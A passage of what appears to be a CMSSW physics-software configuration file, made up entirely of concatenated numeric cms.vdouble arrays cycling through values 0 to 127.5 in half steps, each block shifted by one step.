108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124)+cms.vdouble(124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5)+cms.vdouble(124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123)+cms.vdouble(123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5)+cms.vdouble(123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122)+cms.vdouble(122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5)+cms.vdouble(122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121)+cms.vdouble(121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5)+cms.vdouble(121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120)+cms.vdouble(120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5)+cms.vdouble(120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119)+cms.vdouble(119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5)+cms.vdouble(119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118)+cms.vdouble(118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5)+cms.vdouble(118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117)+cms.vdouble(117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 